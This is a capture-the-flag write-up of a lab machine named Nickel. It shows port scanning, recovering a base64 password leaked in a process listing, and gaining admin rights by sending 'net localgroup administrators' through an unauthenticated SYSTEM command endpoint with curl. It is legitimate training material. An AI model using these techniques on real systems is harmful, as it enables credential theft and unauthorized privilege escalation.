# Nickel ## Gaining Access Nmap scan: ``` $ nmap -p- --min-rate 4000 192.168.240.99 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 14:39 +08 Nmap scan report for 192.168.240.99 Host is up (0.17s latency). Not shown: 65518 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5040/tcp open unknown 7680/tcp open pando-pub 8089/tcp open unknown 33333/tcp open dgi-serv 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown ``` FTP doesn't accept anonymous logins and RDP is open for this machine. ### Web Enumeration -> User Creds Port 80 was weird:
Port 8089 was slightly weirder:
Clicking on any of these would send requests to an IP address on port 33333:
Meanwhile on port 33333, we needed a token of some sorts:
And this is all the information we have. I experimented with sending POST requests instead of GET requests, and it actually returned something from port 33333.
This was different from the Not Found errors. I changed around the directory it sent requests to, and the `list-running-procs` returned something interesting:
If we scroll down, we can see this: ``` name : cmd.exe commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh $ echo 'Tm93aXNlU2xvb3BUaGVvcnkxMzkK' | base64 -d NowiseSloopTheory139 ``` This was a password for a user `ariah`, which works:
## Privilege Escalation ### FTP PDF -> Admin Shell There was a `C:\ftp` directory that looked interesting: ``` Directory of C:\ftp 09/01/2020 12:38 PM . 09/01/2020 12:38 PM .. 09/01/2020 11:02 AM 46,235 Infrastructure.pdf ``` We can transfer this back to our machine via `smbserver.py` and then view it.
There was a temporary command point, and I enumerated it from the machine: ``` ariah@NICKEL C:\ftp>curl http://nickel/?whoami dev-api started at 2023-02-17T09:16:22 
nt authority\system
``` It seems that we have a SYSTEM shell with this command endpoint. What we can do is just add `ariah` to the Administrators group. ``` ariah@NICKEL C:\ftp>curl http://nickel/?net%20localgroup%20administrators%20ariah%20/add dev-api started at 2023-02-17T09:16:22 
The command completed successfully.
ariah@NICKEL C:\ftp>net user ariah User name ariah Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 9/1/2020 12:38:26 PM Password expires Never Password changeable 9/1/2020 12:38:26 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 7/6/2023 11:56:18 PM Logon hours allowed All Local Group Memberships *Administrators *Users Global Group memberships *None The command completed successfully. ``` Then, we can relogin and view the flag:
Rooted!